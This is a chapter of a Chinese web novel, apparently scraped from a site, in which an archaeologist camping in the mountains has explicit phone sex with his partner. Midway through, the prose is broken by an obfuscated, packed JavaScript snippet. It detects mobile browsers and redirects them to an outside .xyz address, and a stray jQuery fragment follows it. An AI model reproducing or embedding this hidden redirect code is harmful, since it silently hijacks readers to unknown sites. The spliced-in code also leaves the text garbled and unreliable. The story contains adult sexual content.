三月初,温辛又一次去往萍山。
这个阶段的开掘已经进行到尾声,他们最多也就再待个三五天,这阵子天气很好,故而没有麻烦村民,和当地机构的人一起在山上搭了几顶帐篷。
山里昼夜温差大,太阳西沉,晚风里夹着丝丝入骨的寒凉,同行的女生分了他们几袋速溶咖啡和麦片,等林丛过来的间隙,又给了温辛两袋巧克力。
之前住在村子里,虽然路上耽误,好歹有间屋子可以洗澡,有张床用以睡觉,现下来回的时间是省下了,条件差得却不是一星半点。
蚊虫多不说,每天脏兮兮的连个澡也不能冲,即便拍掉了泥土,仍旧灰扑扑的。
“唉,又没信号了。”
有人抱怨,说这活不是人干的。
“上辈子作孽,这辈子考古,毕业还未必找得到工作,我真是疯了才会来干这个。”
半认真半玩笑,说得倒不算沉重。
林丛过来的时候差不多八点了,说了下接下来的安排,让他们各自回去休息。温辛落后一步,听见走到前边的人小声惊呼,说好美。
温辛抬头,眼睛里收进了漫天星河。
这样的景象在城市很难看见,有人拿出手机拍照,温辛绕过去。
不远处有一条河,安全起见,他们通常是两人一组去将水打回来,冲冲手和脚,偶尔也会结伴下山,借村民的房子洗个澡。
这两天忙,他们好几天没下去了。
温辛洗了把脸,将脱下来的外套提在手里拍了拍,搭在一旁。
他的帐篷在最角落,原本是两个女生的,但太偏了,考虑到安全问题,让她们跟男生换一下。
相较于两个人一起住,温辛更愿意一个人睡在角落,便主动开口,提出交换。
不确定几点钟,温辛在写工作日志,外面突然传来一道惊喜的呼声。
似乎有信号了。
他写完最后一句话,点亮手机屏幕,一条条微信和未接来电雪花般的涌出,顷刻占据了整个屏幕。
温辛合上笔记本,熄灭了帐篷里的灯。
手机微弱的荧光投在脸上,温辛躺下来,按了回拨。信号只剩下微弱的一格,通不通全凭运气。
试了两次,还没打通,温辛已经打算放弃,岂料手机离开的耳畔的下一秒,对面竟传来一道低沉,压抑,又似松一口气的叹息。
“什么破地方,连个信号都没有。”说完静了两秒,傅之炀又问:“你吃饭了吗?”
“吃了。”
电话贴回耳畔,不仅告诉傅之炀他今天吃了什么,喝了什么,还说有人抱怨,说他们这行狗都不做。
温辛鲜少这么主动开展话题,声音轻轻的,听见傅之炀说:“那你还做。”也没有不高兴。
眼睛闭起来,呼吸也慢慢的。
傅之炀不想浪费得来不易的一次通话,问他山上天气怎么样。温辛吝啬得只答了他一个:“好。”
这次的信号持续得比先前每一次都要久,温辛戴上耳机,将手机放在一旁。
直到傅之炀沉默下来,温辛才开口:“今天的星空很漂亮,可惜你看不到。”
大约从他的语气里听出了疲乏,对面慢慢安静了。温辛眼睛闭着,思绪逐渐涣散。
傅之炀没说话,电话就这么通着,直至一道粗重,明显有在克制的喘息钻入耳道,温辛才又睁开眼睛。
他们很久没见了。傅之炀仰靠在温辛的沙发上,耳朵里同样塞着两枚耳机。猫伏在他的脚边,似乎嗅到了什么非同寻常的气味儿,有点警惕地抬起了毛茸茸的脑袋。
对面,温辛轻轻叫了他一声,傅之炀开口,说了句“我在听”,并不掩饰自己的声音和举动。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480581|185620||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
城市的夜晚很难看见星星。傅之炀歪头,嗅到空气里漂浮着那一点微末的,属于温辛的气味儿,手上力道重了一点。
猫跳上沙发靠背,圆溜溜的眼珠盯着傅之炀,在他喘息愈重之际,靠过来,拱了拱他的鬓角,贴着他的鼻尖,舔舐他脸上的汗珠。
与此同时,耳机里再次响起温辛的声音,
低低地,透过耳机,无比清晰地传到傅之炀耳中,对他说:“要不要,我做给你听。”
声音在这刻仿佛拥有了实质,钻进毛孔,渗入皮肤,像丝丝缕缕的无形的线,将傅之炀一点一点地缠紧了。
更阑人静,温辛一半的脸陷入睡袋。
帐篷里不透气,空气很闷。每到一步,温辛都会准确无误地告诉给电话那端的傅之炀。他将手指舔湿,压抑着声音,哼得异常轻。
“有点干。”
两道呼吸揉杂着,温辛说:“没有你弄得舒服。”
不确定他做了什么,碰到哪里,还是单纯只为了喘给傅之炀听,即便声音低到一阵风就能吹散,温辛依然如愿以偿地听到了傅之炀一声再也克制不住地闷哼:“温辛,宝贝……”
温辛嗯一声,带着点细碎的笑。
新年过后,对于二人之间的关系,傅之炀一直怀揣着过一天少一天的消极。
除非温辛一辈子不谈恋爱,不结婚,否则,即便他愿意做第三者,温辛也未必真的会给他这个机会。
傅之炀起身来到卧室,倒下去。
他无法想象,如果未来有另一个人躺在这张床上,抚摸温辛的身体,做一切他们曾经做过的事情。
闭上眼睛,傅之炀仿佛看见了两道赤裸身躯在这张床上纠缠。
他听见温辛在哭。
痛苦的,愉悦的。
少顷,傅之炀将脸埋进被褥,深深地吸了一口气。